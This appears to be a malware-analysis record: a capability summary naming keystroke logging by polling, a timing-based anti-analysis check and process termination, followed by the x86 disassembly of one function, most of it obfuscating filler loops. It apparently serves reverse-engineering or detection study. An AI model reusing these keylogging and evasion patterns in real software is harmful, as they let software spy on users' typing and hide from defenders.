Function at 0x466072
Capabilities:
Check for time delay via gettickcount
Get keyboard layout
Get memory capacity
Log keystrokes via polling
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4aa3b1
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x2a28
call fcn.00499a80
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0xa8c], 0x2af
mov dword [ebp - 0x174], 0x477862f
mov dword [ebp - 0x258], 0xffffffff
mov dword [ebp - 0x95c], 0xe2ff5ff7
mov dword [ebp - 0x1a7c], 0xffffffff
mov dword [ebp - 0x174], 0x16
jmp 0x4660e6
mov eax, dword [ebp - 0x174]
dec eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 0xffffffe7
jle 0x46634c
mov dword [ebp - 0x3d4], 0xfffd
mov dword [ebp - 0x9a4], 7
mov dword [ebp - 0x1788], 0xa932da3b
mov eax, dword [ebp - 0x3d4]
mov dword [ebp - 0x21f4], eax
mov eax, 0xc3a60813
test eax, eax
je 0x46613b
cmp dword [ebp - 0x3d4], 0
je 0x46613b
mov dword [ebp - 0x18e8], 1
jmp 0x466142
and dword [ebp - 0x18e8], 0
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0x2580], eax
cmp dword [ebp - 0x258], 0x955205
jne 0x466166
mov dword [ebp - 0x1660], 1
jmp 0x46616d
and dword [ebp - 0x1660], 0
cmp dword [ebp - 0x1660], 0
ja 0x46618b
cmp dword [ebp - 0x3d4], 0
je 0x46618b
mov dword [ebp - 0x1724], 1
jmp 0x466192
and dword [ebp - 0x1724], 0
cmp dword [ebp - 0x1724], 0x7bf7
jg 0x4661aa
mov dword [ebp - 0x1a6c], 1
jmp 0x4661b1
and dword [ebp - 0x1a6c], 0
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0x2318], eax
mov eax, dword [ebp - 0x258]
cmp dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 0
jne 0x4661e4
mov eax, 0xffff
test eax, eax
jne 0x4661e4
and dword [ebp - 0x172c], 0
jmp 0x4661ee
mov dword [ebp - 0x172c], 1
mov eax, dword [ebp - 0x172c]
sub eax, 8
cmp eax, dword [ebp - 0x258]
jge 0x466211
cmp dword [ebp - 0x174], 0
jne 0x466211
and dword [ebp - 0x1a74], 0
jmp 0x46621b
mov dword [ebp - 0x1a74], 1
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0x2460], eax
mov eax, dword [ebp - 0x9a4]
mov dword [ebp - 0x95c], eax
imul eax, dword [ebp - 0x95c], 0xfffffffb
test eax, eax
je 0x466253
cmp dword [ebp - 0x9a4], 0
je 0x466253
mov dword [ebp - 0x1758], 1
jmp 0x46625a
and dword [ebp - 0x1758], 0
mov eax, dword [ebp - 0x9a4]
cmp dword [ebp - 0x1758], eax
jle 0x466274
mov dword [ebp - 0x1760], 1
jmp 0x46627b
and dword [ebp - 0x1760], 0
mov eax, dword [ebp - 0x258]
cmp dword [ebp - 0x1760], eax
jle 0x466295
mov dword [ebp - 0x1768], 1
jmp 0x46629c
and dword [ebp - 0x1768], 0
cmp dword [ebp - 0x1768], 0xfffffffb
jg 0x4662b1
mov dword [ebp - 0x1770], 1
jmp 0x4662b8
and dword [ebp - 0x1770], 0
imul eax, dword [ebp - 0x1770], 0
cmp eax, 1
jle 0x4662d9
cmp dword [ebp - 0x3d4], 0
je 0x4662d9
mov dword [ebp - 0x1778], 1
jmp 0x4662e0
and dword [ebp - 0x1778], 0
cmp dword [ebp - 0x1778], 0xfbdedbec
jae 0x4662f8
mov dword [ebp - 0x1780], 1
jmp 0x4662ff
and dword [ebp - 0x1780], 0
mov eax, dword [ebp - 0x1780]
mov dword [ebp - 0x1788], eax
cmp dword [ebp - 0x1788], 0
jne 0x466326
cmp dword [ebp - 0x95c], 0
jne 0x466326
and dword [ebp - 0x1790], 0
jmp 0x466330
mov dword [ebp - 0x1790], 1
mov eax, dword [ebp - 0x1790]
mov dword [ebp - 0x1a7c], eax
cmp dword [ebp - 0x258], 0
je 0x466347
jmp 0x46634c
jmp 0x4660d9
mov dword [ebp - 0x19c], 0x477862f
mov dword [ebp - 0x1c0], 0xffffffff
mov dword [ebp - 0x904], 0xe2ff5ff7
mov dword [ebp - 0x1d3c], 0xffffffff
mov dword [ebp - 0x19c], 0x16
jmp 0x46638d
mov eax, dword [ebp - 0x19c]
dec eax
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 0xffffffe7
jle 0x4665f3
mov dword [ebp - 0x3d8], 0xfffd
mov dword [ebp - 0x84c], 7
mov dword [ebp - 0x14dc], 0xa932da3b
mov eax, dword [ebp - 0x3d8]
mov dword [ebp - 0x2320], eax
mov eax, 0xc3a60813
test eax, eax
je 0x4663e2
cmp dword [ebp - 0x3d8], 0
je 0x4663e2
mov dword [ebp - 0x1a84], 1
jmp 0x4663e9
and dword [ebp - 0x1a84], 0
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0x2658], eax
cmp dword [ebp - 0x1c0], 0x955205
jne 0x46640d
mov dword [ebp - 0x1798], 1
jmp 0x466414
and dword [ebp - 0x1798], 0
cmp dword [ebp - 0x1798], 0
ja 0x466432
cmp dword [ebp - 0x3d8], 0
je 0x466432
mov dword [ebp - 0x17a0], 1
jmp 0x466439
and dword [ebp - 0x17a0], 0
cmp dword [ebp - 0x17a0], 0x7bf7
jg 0x466451
mov dword [ebp - 0x1a8c], 1
jmp 0x466458
and dword [ebp - 0x1a8c], 0
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0x2328], eax
mov eax, dword [ebp - 0x1c0]
cmp dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 0
jne 0x46648b
mov eax, 0xffff
test eax, eax
jne 0x46648b
and dword [ebp - 0x9dc], 0
jmp 0x466495
mov dword [ebp - 0x9dc], 1
mov eax, dword [ebp - 0x9dc]
sub eax, 8
cmp eax, dword [ebp - 0x1c0]
jge 0x4664b8
cmp dword [ebp - 0x19c], 0
jne 0x4664b8
and dword [ebp - 0x1a94], 0
jmp 0x4664c2
mov dword [ebp - 0x1a94], 1
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0x2470], eax
mov eax, dword [ebp - 0x84c]
mov dword [ebp - 0x904], eax
imul eax, dword [ebp - 0x904], 0xfffffffb
test eax, eax
je 0x4664fa
cmp dword [ebp - 0x84c], 0
je 0x4664fa
mov dword [ebp - 0x14c4], 1
jmp 0x466501
and dword [ebp - 0x14c4], 0
mov eax, dword [ebp - 0x84c]
cmp dword [ebp - 0x14c4], eax
jle 0x46651b
mov dword [ebp - 0x9e4], 1
jmp 0x466522
and dword [ebp - 0x9e4], 0
mov eax, dword [ebp - 0x1c0]
cmp dword [ebp - 0x9e4], eax
jle 0x46653c
mov dword [ebp - 0x14cc], 1
jmp 0x466543
and dword [ebp - 0x14cc], 0
cmp dword [ebp - 0x14cc], 0xfffffffb
jg 0x466558
mov dword [ebp - 0x9ec], 1
jmp 0x46655f
and dword [ebp - 0x9ec], 0
imul eax, dword [ebp - 0x9ec], 0
cmp eax, 1
jle 0x466580
cmp dword [ebp - 0x3d8], 0
je 0x466580
mov dword [ebp - 0x14d4], 1
jmp 0x466587
and dword [ebp - 0x14d4], 0
cmp dword [ebp - 0x14d4], 0xfbdedbec
jae 0x46659f
mov dword [ebp - 0x9f4], 1
jmp 0x4665a6
and dword [ebp - 0x9f4], 0
mov eax, dword [ebp - 0x9f4]
mov dword [ebp - 0x14dc], eax
cmp dword [ebp - 0x14dc], 0
jne 0x4665cd
cmp dword [ebp - 0x904], 0
jne 0x4665cd
and dword [ebp - 0x9fc], 0
jmp 0x4665d7
mov dword [ebp - 0x9fc], 1
mov eax, dword [ebp - 0x9fc]
mov dword [ebp - 0x1d3c], eax
cmp dword [ebp - 0x1c0], 0
je 0x4665ee
jmp 0x4665f3
jmp 0x466380
mov dword [ebp - 0x1d4c], 0x137b1891
mov dword [ebp - 0x1d44], 0xfffffffe
push 3
lea ecx, [ebp - 0x20a8]
call fcn.00428b50
mov dword [ebp - 0x1d54], 0xb000cd9d
mov dword [ebp - 0x2330], 0
mov dword [ebp - 0x994], 0x7f8b4dfe
mov dword [ebp - 0x2588], 0x7392715e
mov dword [ebp - 0xa04], 1
mov dword [ebp - 0x854], 0x156be823
mov dword [ebp - 0x3a4], 0x1b9b9640
mov dword [ebp - 0x1d5c], 0xd8d4885c
mov dword [ebp - 0x5f0], 0
jmp 0x46667d
mov eax, dword [ebp - 0x5f0]
inc eax
mov dword [ebp - 0x5f0], eax
cmp dword [ebp - 0x5f0], 3
jge 0x46669c
push dword [ebp - 0x5f0]
lea ecx, [ebp - 0x20a8]
call fcn.00428c3e
and dword [eax], 0
jmp 0x466670
mov eax, dword [ebp - 0x854]
inc eax
mov dword [ebp - 0x854], eax
mov eax, dword [ebp - 0x3a4]
mov dword [ebp - 0x14e4], eax
push 0
lea ecx, [ebp - 0x20a8]
call fcn.00428c3e
mov ecx, dword [ebp - 0x14e4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x854]
cmp dword [ebp - 0x14e4], eax
jl 0x4666e4
mov dword [ebp - 0x14f4], 1
jmp 0x4666eb
and dword [ebp - 0x14f4], 0
mov eax, dword [ebp - 0xa04]
mov dword [ebp - 0x2338], eax
mov eax, 0xe34d1cd0
sub eax, dword [ebp - 0x1d44]
cmp dword [ebp - 0x1d4c], eax
jg 0x466716
mov dword [ebp - 0x14ec], 1
jmp 0x46671d
and dword [ebp - 0x14ec], 0
mov eax, dword [ebp - 0xa04]
add eax, dword [ebp - 0x14ec]
cmp eax, 0x5a80
jle 0x46673c
mov dword [ebp - 0xa0c], 1
jmp 0x466743
and dword [ebp - 0xa0c], 0
mov eax, dword [ebp - 0x1d54]
mov ecx, dword [ebp - 0x994]
imul ecx, dword [ebp - 0xa0c]
dec ecx
imul eax, ecx
cmp dword [ebp - 0x14f4], eax
jle 0x46676e
mov dword [ebp - 0xa14], 1
jmp 0x466775
and dword [ebp - 0xa14], 0
mov eax, dword [ebp - 0xa14]
mov dword [ebp - 0x994], eax
mov eax, dword [ebp - 0x994]
mov dword [ebp - 0x1d5c], eax
mov dword [ebp - 0x3a4], 0
jmp 0x4667a6
mov eax, dword [ebp - 0x3a4]
inc eax
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a4], 2
jg 0x466828
mov dword [ebp - 0x2480], 1
push 1
lea ecx, [ebp - 0x246c]
call fcn.00428b50
mov dword [ebp - 0x14fc], 0xffff
mov dword [ebp - 0x3e0], 0
jmp 0x4667e9
mov eax, dword [ebp - 0x3e0]
inc eax
mov dword [ebp - 0x3e0], eax
cmp dword [ebp - 0x3e0], 1
jge 0x46680b
push dword [ebp - 0x3e0]
lea ecx, [ebp - 0x246c]
call fcn.00428c3e
mov dword [eax], 1
jmp 0x4667dc
mov eax, dword [ebp - 0x14fc]
dec eax
mov dword [ebp - 0x14fc], eax
lea ecx, [ebp - 0x246c]
call fcn.00428c22
jmp 0x466799
lea ecx, [ebp - 0x20a8]
call fcn.00428c22
mov dword [ebp - 0x1db4], str.nabmdmclk_qcry_lwjy_dnywr_blchm_wquneomo_htyencavn
mov dword [ebp - 0x1d6c], 0x137b1891
mov dword [ebp - 0x1d64], 0xfffffffe
push 3
lea ecx, [ebp - 0x2054]
call fcn.00428b50
mov dword [ebp - 0x1d74], 0xb000cd9d
mov dword [ebp - 0x2340], 0
mov dword [ebp - 0x90c], 0x7f8b4dfe
mov dword [ebp - 0x25fc], 0x7392715e
mov dword [ebp - 0x1504], 1
mov dword [ebp - 0x85c], 0x156be823
mov dword [ebp - 0x3b8], 0x1b9b9640
mov dword [ebp - 0x1d7c], 0xd8d4885c
mov dword [ebp - 0x788], 0
jmp 0x4668c7
mov eax, dword [ebp - 0x788]
inc eax
mov dword [ebp - 0x788], eax
cmp dword [ebp - 0x788], 3
jge 0x4668e6
push dword [ebp - 0x788]
lea ecx, [ebp - 0x2054]
call fcn.00428c3e
and dword [eax], 0
jmp 0x4668ba
mov eax, dword [ebp - 0x85c]
inc eax
mov dword [ebp - 0x85c], eax
mov eax, dword [ebp - 0x3b8]
mov dword [ebp - 0xa1c], eax
push 0
lea ecx, [ebp - 0x2054]
call fcn.00428c3e
mov ecx, dword [ebp - 0xa1c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x85c]
cmp dword [ebp - 0xa1c], eax
jl 0x46692e
mov dword [ebp - 0xa2c], 1
jmp 0x466935
and dword [ebp - 0xa2c], 0
mov eax, dword [ebp - 0x1504]
mov dword [ebp - 0x2348], eax
mov eax, 0xe34d1cd0
sub eax, dword [ebp - 0x1d64]
cmp dword [ebp - 0x1d6c], eax
jg 0x466960
mov dword [ebp - 0xa24], 1
jmp 0x466967
and dword [ebp - 0xa24], 0
mov eax, dword [ebp - 0x1504]
add eax, dword [ebp - 0xa24]
cmp eax, 0x5a80
jle 0x466986
mov dword [ebp - 0x1514], 1
jmp 0x46698d
and dword [ebp - 0x1514], 0
mov eax, dword [ebp - 0x1d74]
mov ecx, dword [ebp - 0x90c]
imul ecx, dword [ebp - 0x1514]
dec ecx
imul eax, ecx
cmp dword [ebp - 0xa2c], eax
jle 0x4669b8
mov dword [ebp - 0x151c], 1
jmp 0x4669bf
and dword [ebp - 0x151c], 0
mov eax, dword [ebp - 0x151c]
mov dword [ebp - 0x90c], eax
mov eax, dword [ebp - 0x90c]
mov dword [ebp - 0x1d7c], eax
mov dword [ebp - 0x3b8], 0
jmp 0x4669f0
mov eax, dword [ebp - 0x3b8]
inc eax
mov dword [ebp - 0x3b8], eax
cmp dword [ebp - 0x3b8], 2
jg 0x466a72
mov dword [ebp - 0x2490], 1
push 1
lea ecx, [ebp - 0x247c]
call fcn.00428b50
mov dword [ebp - 0xa34], 0xffff
mov dword [ebp - 0x3e8], 0
jmp 0x466a33
mov eax, dword [ebp - 0x3e8]
inc eax
mov dword [ebp - 0x3e8], eax
cmp dword [ebp - 0x3e8], 1
jge 0x466a55
push dword [ebp - 0x3e8]
lea ecx, [ebp - 0x247c]
call fcn.00428c3e
mov dword [eax], 1
jmp 0x466a26
mov eax, dword [ebp - 0xa34]
dec eax
mov dword [ebp - 0xa34], eax
lea ecx, [ebp - 0x247c]
call fcn.00428c22
jmp 0x4669e3
lea ecx, [ebp - 0x2054]
call fcn.00428c22
mov dword [ebp - 0x2350], 0x60657976
mov byte [ebp - 0x277], 0
movzx eax, byte [ebp - 0x277]
test eax, eax
je 0x466a9f
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov byte [ebp - 0x25b], 0
movzx eax, byte [ebp - 0x25b]
test eax, eax
je 0x466ab9
push 0
call dword [sym.imp.GDI32.dll_GetObjectType]
cmp dword [ebp - 0xa8c], 0x4ee
jle 0x466b73
and dword [ebp - 0x708], 0
jmp 0x466adf
mov eax, dword [ebp - 0x708]
inc eax
mov dword [ebp - 0x708], eax
cmp dword [ebp - 0x708], 0x2503
jge 0x466b73
and dword [ebp - 0x5f8], 0
jmp 0x466b05
mov eax, dword [ebp - 0x5f8]
inc eax
mov dword [ebp - 0x5f8], eax
cmp dword [ebp - 0x5f8], 0x5bfa
jge 0x466b6e
and dword [ebp - 0x3f0], 0
jmp 0x466b27
mov eax, dword [ebp - 0x3f0]
inc eax
mov dword [ebp - 0x3f0], eax
cmp dword [ebp - 0x3f0], 0x5611
jge 0x466b6c
mov eax, dword [ebp - 0x5f8]
mov ecx, dword [ebp - 0x3f0]
shl eax, cl
or eax, dword [ebp - 0x708]
cdq
mov dword [ebp - 0x1aa0], eax
mov dword [ebp - 0x1a9c], edx
push dword [ebp - 0x1a9c]
push dword [ebp - 0x1aa0]
mov ecx, 0xab1de0
call fcn.004795b6
jmp 0x466b1a
jmp 0x466af8
jmp 0x466ad2
mov dword [ebp - 0xdc], 0
mov dword [ebp - 0x138], 0x3ee32743
mov dword [ebp - 0x2590], 0xd9248e6b
mov dword [ebp - 0x3c0], 0xfffffff8
mov dword [ebp - 0xfc], 0x191b
push 3
lea ecx, [ebp - 0x83c]
call fcn.00428b50
mov dword [ebp - 0x1554], 0xfffffffc
mov dword [ebp - 0x1dac], 0xe3b6ea11
mov dword [ebp - 0x3f8], 0
jmp 0x466bdf
mov eax, dword [ebp - 0x3f8]
inc eax
mov dword [ebp - 0x3f8], eax
cmp dword [ebp - 0x3f8], 3
jge 0x466bfe
push dword [ebp - 0x3f8]
lea ecx, [ebp - 0x83c]
call fcn.00428c3e
or dword [eax], 0xffffffff
jmp 0x466bd2
mov dword [ebp - 0xdc], 0xa
jmp 0x466c17
mov eax, dword [ebp - 0xdc]
inc eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 0x16
jne 0x466f79
mov dword [ebp - 0x864], 0xfff7
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0x86c], 0xfffffff9
mov dword [ebp - 0xa54], 0
mov dword [ebp - 0x600], 0
jmp 0x466c65
mov eax, dword [ebp - 0x600]
inc eax
mov dword [ebp - 0x600], eax
cmp dword [ebp - 0x600], 2
jge 0x466c81
mov eax, dword [ebp - 0x600]
mov dword [ebp + eax*4 - 0x96c], 0x2404
jmp 0x466c58
mov eax, dword [ebp - 0x138]
cmp dword [ebp - 0xdc], eax
jge 0x466ca4
cmp dword [ebp - 0x138], 0
je 0x466ca4
mov dword [ebp - 0xa3c], 1
jmp 0x466cab
and dword [ebp - 0xa3c], 0
cmp dword [ebp - 0x864], 0
jne 0x466cc0
mov dword [ebp - 0x1524], 1
jmp 0x466cc7
and dword [ebp - 0x1524], 0
mov eax, dword [ebp - 0x864]
cmp dword [ebp - 0x1524], eax
jle 0x466ce1
mov dword [ebp - 0x152c], 1
jmp 0x466ce8
and dword [ebp - 0x152c], 0
mov eax, dword [ebp - 0xa3c]
cmp eax, dword [ebp - 0x152c]
jle 0x466d02
mov dword [ebp - 0x1d84], 1
jmp 0x466d09
and dword [ebp - 0x1d84], 0
mov eax, 0xfffa
test eax, eax
je 0x466e23
cmp dword [ebp - 0x138], 0
je 0x466e23
mov dword [ebp - 0x1534], 0xe2e4ed3
mov dword [ebp - 0x964], 1
mov dword [ebp - 0x1d8c], 0x24b83428
mov dword [ebp - 0x2358], 8
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x96c]
dec eax
mov dword [ebp - 0xa44], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xa44]
mov dword [ebp + eax - 0x96c], ecx
cmp dword [ebp - 0xa44], 0
je 0x466d82
cmp dword [ebp - 0x138], 0
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0x1534], eax
mov eax, dword [ebp - 0x964]
mov dword [ebp - 0x964], eax
mov eax, dword [ebp - 0xdc]
sub eax, dword [ebp - 0xbc]
mov ecx, 0x3d478254
sub ecx, dword [ebp - 0x864]
add ecx, dword [ebp - 0x964]
imul ecx, eax
cmp dword [ebp - 0x1534], ecx
jg 0x466dce
mov dword [ebp - 0xa4c], 1
jmp 0x466dd5
and dword [ebp - 0xa4c], 0
mov eax, dword [ebp - 0xa4c]
add eax, 0x8a1b
cmp eax, dword [ebp - 0xbc]
jl 0x466dfd
cmp dword [ebp - 0x86c], 0
je 0x466dfd
mov dword [ebp - 0x153c], 1
jmp 0x466e04
and dword [ebp - 0x153c], 0
mov eax, dword [ebp - 0x153c]
mov dword [ebp - 0x1d8c], eax
cmp dword [ebp - 0x3c0], 0
je 0x466e1e
jmp 0x466c0a
jmp 0x466f3c
mov dword [ebp - 0xbc], 1
jmp 0x466e3c
mov eax, dword [ebp - 0xbc]
dec eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jl 0x466f3c
mov eax, dword [ebp - 0xa54]
dec eax
mov dword [ebp - 0xa54], eax
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp + eax*4 - 0x96c]
mov dword [ebp - 0x24a0], eax
mov eax, dword [ebp - 0xbc]
cmp dword [ebp + eax*4 - 0x96c], 0
jne 0x466e8e
cmp dword [ebp - 0x3c0], 0xddd0c6a3
ja 0x466e8e
and dword [ebp - 0x1544], 0
jmp 0x466e98
mov dword [ebp - 0x1544], 1
mov eax, dword [ebp - 0x1544]
mov dword [ebp - 0x86c], eax
cmp dword [ebp - 0x86c], 0
je 0x466ec9
mov eax, dword [ebp - 0xbc]
cmp dword [ebp + eax*4 - 0x96c], 0
je 0x466ec9
mov dword [ebp - 0xa5c], 1
jmp 0x466ed0
and dword [ebp - 0xa5c], 0
cmp dword [ebp - 0xa5c], 0x34f12ce3
jge 0x466ee8
mov dword [ebp - 0x154c], 1
jmp 0x466eef
and dword [ebp - 0x154c], 0
mov eax, dword [ebp - 0xfc]
cmp dword [ebp - 0x154c], eax
jge 0x466f09
mov dword [ebp - 0x1d94], 1
jmp 0x466f10
and dword [ebp - 0x1d94], 0
push 0
lea ecx, [ebp - 0x83c]
call fcn.00428c3e
mov eax, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0xbc]
mov eax, dword [ebp + eax*4 - 0x96c]
mov dword [ebp + ecx*4 - 0x96c], eax
jmp 0x466e2f
mov dword [ebp - 0xfc], 0
jmp 0x466f55
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 3
jge 0x466f74
push dword [ebp - 0xfc]
lea ecx, [ebp - 0x83c]
call fcn.00428c3e
or dword [eax], 0xffffffff
jmp 0x466f48
jmp 0x466c0a
cmp dword [ebp - 0xfc], 0
je 0x4671a4
push 0
lea ecx, [ebp - 0x83c]
call fcn.00428c3e
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x2360], eax
cmp dword [ebp - 0xfc], 0
jne 0x466fc3
push 2
lea ecx, [ebp - 0x83c]
call fcn.00428c3e
cmp dword [eax], 0
jne 0x466fc3
and dword [ebp - 0xa64], 0
jmp 0x466fcd
mov dword [ebp - 0xa64], 1
cmp dword [ebp - 0xa64], 0xffff
ja 0x466feb
cmp dword [ebp - 0x1554], 0
jne 0x466feb
and dword [ebp - 0x1d9c], 0
jmp 0x466ff5
mov dword [ebp - 0x1d9c], 1
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x2648], eax
mov eax, dword [ebp - 0x3c0]
mov dword [ebp - 0x2368], eax
mov eax, dword [ebp - 0x1554]
mov dword [ebp - 0x24b0], eax
push 1
lea ecx, [ebp - 0x83c]
call fcn.00428c3e
mov esi, eax
push 0
lea ecx, [ebp - 0x83c]
call fcn.00428c3e
mov ecx, dword [esi]
add ecx, dword [eax]
cmp ecx, dword [ebp - 0xdc]
jg 0x46704d
mov dword [ebp - 0xa6c], 1
jmp 0x467054
and dword [ebp - 0xa6c], 0
push 0
lea ecx, [ebp - 0x83c]
call fcn.00428c3e
mov ecx, dword [ebp - 0xa6c]
cmp ecx, dword [eax]
jne 0x467077
mov dword [ebp - 0x155c], 1
jmp 0x46707e
and dword [ebp - 0x155c], 0
mov eax, dword [ebp - 0x138]
imul eax, dword [ebp - 0x155c]
test eax, eax
je 0x4670a4
cmp dword [ebp - 0x138], 0
je 0x4670a4
mov dword [ebp - 0x1da4], 1
jmp 0x4670ab
and dword [ebp - 0x1da4], 0
mov eax, dword [ebp - 0x3c0]
mov dword [ebp - 0x2370], eax
push 0
lea ecx, [ebp - 0x83c]
call fcn.00428c3e
mov ecx, dword [ebp - 0x1dac]
imul ecx, dword [eax]
test ecx, ecx
je 0x4670e2
or eax, 0xffffffff
je 0x4670e2
mov dword [ebp - 0xa74], 1
jmp 0x4670e9
and dword [ebp - 0xa74], 0
cmp dword [ebp - 0xa74], 1
ja 0x4670fe
mov dword [ebp - 0x1564], 1
jmp 0x467105
and dword [ebp - 0x1564], 0
mov eax, dword [ebp - 0x1564]
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0x2598], eax
mov eax, 0x3fee
cmp eax, 0xffffffff
jg 0x467133
mov dword [ebp - 0xa7c], 1
jmp 0x46713a
and dword [ebp - 0xa7c], 0
mov eax, dword [ebp - 0x3c0]
cmp dword [ebp - 0xa7c], eax
jg 0x467154
mov dword [ebp - 0x156c], 1
jmp 0x46715b
and dword [ebp - 0x156c], 0
push 1
lea ecx, [ebp - 0x83c]
call fcn.00428c3e
mov ecx, dword [ebp - 0x156c]
cmp ecx, dword [eax]
jg 0x46717e
mov dword [ebp - 0xa84], 1
jmp 0x467185
and dword [ebp - 0xa84], 0
mov eax, dword [ebp - 0xa84]
add eax, 0x3b3be7b8
cmp eax, dword [ebp - 0x138]
jne 0x4671a4
mov dword [ebp - 0x1574], 1
jmp 0x4671ab
and dword [ebp - 0x1574], 0
mov esi, dword [ebp - 0x138]
add esi, dword [ebp - 0x1574]
push 0
lea ecx, [ebp - 0x83c]
call fcn.00428c3e
mov dword [eax], esi
lea ecx, [ebp - 0x83c]
call fcn.00428c22
mov dword [ebp - 0xb6c], 0x7036
mov dword [ebp - 0x2378], 0x60657976
mov byte [ebp - 0x273], 0
movzx eax, byte [ebp - 0x273]
test eax, eax
je 0x4671fd
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov byte [ebp - 0x25d], 0
movzx eax, byte [ebp - 0x25d]
test eax, eax
je 0x467217
push 0
call dword [sym.imp.GDI32.dll_GetObjectType]
mov dword [ebp - 0x400], 0xac64a684
mov byte [ebp - 0x291], 0
movzx eax, byte [ebp - 0x291]
test eax, eax
je 0x46723e
push 0x877
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x400], 0
jmp 0x467257
mov eax, dword [ebp - 0x400]
dec eax
mov dword [ebp - 0x400], eax
cmp dword [ebp - 0x400], 0xffffffe3
jg 0x467288
mov byte [ebp - 0x25f], 0
movzx eax, byte [ebp - 0x25f]
test eax, eax
je 0x467286
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CloseEnhMetaFile]
jmp 0x46724a
and dword [ebp - 4], 0
cmp dword [ebp - 0xa8c], 0x13f
jge 0x4672a8
mov edx, dword [ebp - 0x1db4]
mov ecx, 0xab1de0
call fcn.0047aa64
jmp 0x4672c4
or dword [ebp - 4], 0xffffffff
jmp 0x4672ce
push 1
lea ecx, [ebp - 0x1f60]
call fcn.00428b50
mov dword [ebp - 0x1c8], 0x8094a188
push 4
lea ecx, [ebp - 0x248c]
call fcn.00428b50
mov dword [ebp - 0x24c0], 4
mov dword [ebp - 0x2380], 0xe82ca968
mov dword [ebp - 0x2610], 0x921b0ae2
mov dword [ebp - 0x2388], 0x5b1510af
mov dword [ebp - 0x24d0], 0xffffffff
mov dword [ebp - 0x2390], 0xd99ea7eb
mov dword [ebp - 0x25a0], 0xfffffffb
mov dword [ebp - 0x2398], 0xfffffff8
mov dword [ebp - 0x24e0], 0xfffffff9
mov dword [ebp - 0x23a0], 1
mov dword [ebp - 0xa94], 0xffffffff
mov dword [ebp - 0x54], 0
jmp 0x467370
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 1
jge 0x46738c
push dword [ebp - 0x54]
lea ecx, [ebp - 0x1f60]
call fcn.00428c3e
mov dword [eax], 0x3198
jmp 0x467369
mov dword [ebp - 0x54], 0
jmp 0x46739c
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 4
jge 0x4673b8
push dword [ebp - 0x54]
lea ecx, [ebp - 0x248c]
call fcn.00428c3e
mov dword [eax], 0x9ddcef98
jmp 0x467395
mov dword [ebp - 0x54], 0
jmp 0x4673c8
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 2
jge 0x4673de
mov eax, dword [ebp - 0x54]
mov dword [ebp + eax*4 - 0x2674], 0
jmp 0x4673c1
mov dword [ebp - 0x1c8], 0
jmp 0x4673f7
mov eax, dword [ebp - 0x1c8]
inc eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 0
jg 0x467490
mov dword [ebp - 0x1dc4], 1
mov eax, 0x6923607a
test eax, eax
je 0x46743d
push dword [ebp - 0x1c8]
lea ecx, [ebp - 0x1f60]
call fcn.00428c3e
mov eax, 0x54a2
test eax, eax
je 0x46743d
mov dword [ebp - 0x1dbc], 1
jmp 0x467444
and dword [ebp - 0x1dbc], 0
mov eax, dword [ebp - 0x1c8]
mov dword [ebp - 0x2668], eax
push dword [ebp - 0x1c8]
lea ecx, [ebp - 0x1f60]
call fcn.00428c3e
cmp dword [eax], 0xffff
jne 0x467475
mov dword [ebp - 0x157c], 1
jmp 0x46747c
and dword [ebp - 0x157c], 0
push 0xfffffffffffffff8
pop eax
sub eax, dword [ebp - 0x157c]
mov dword [ebp - 0x1dc4], eax
jmp 0x4673ea
mov eax, dword [ebp - 0xa94]
inc eax
mov dword [ebp - 0xa94], eax
lea ecx, [ebp - 0x248c]
call fcn.00428c22
lea ecx, [ebp - 0x1f60]
call fcn.00428c22
mov dword [ebp - 0xd4], 0
mov dword [ebp - 0x140], 0x3ee32743
mov dword [ebp - 0x21a8], 0xd9248e6b
mov dword [ebp - 0x344], 0xfffffff8
mov dword [ebp - 0x104], 0x191b
push 3
lea ecx, [ebp - 0x830]
call fcn.00428b50
mov dword [ebp - 0x15b4], 0xfffffffc
mov dword [ebp - 0x1df4], 0xe3b6ea11
mov dword [ebp - 0x818], 0
jmp 0x46751f
mov eax, dword [ebp - 0x818]
inc eax
mov dword [ebp - 0x818], eax
cmp dword [ebp - 0x818], 3
jge 0x46753e
push dword [ebp - 0x818]
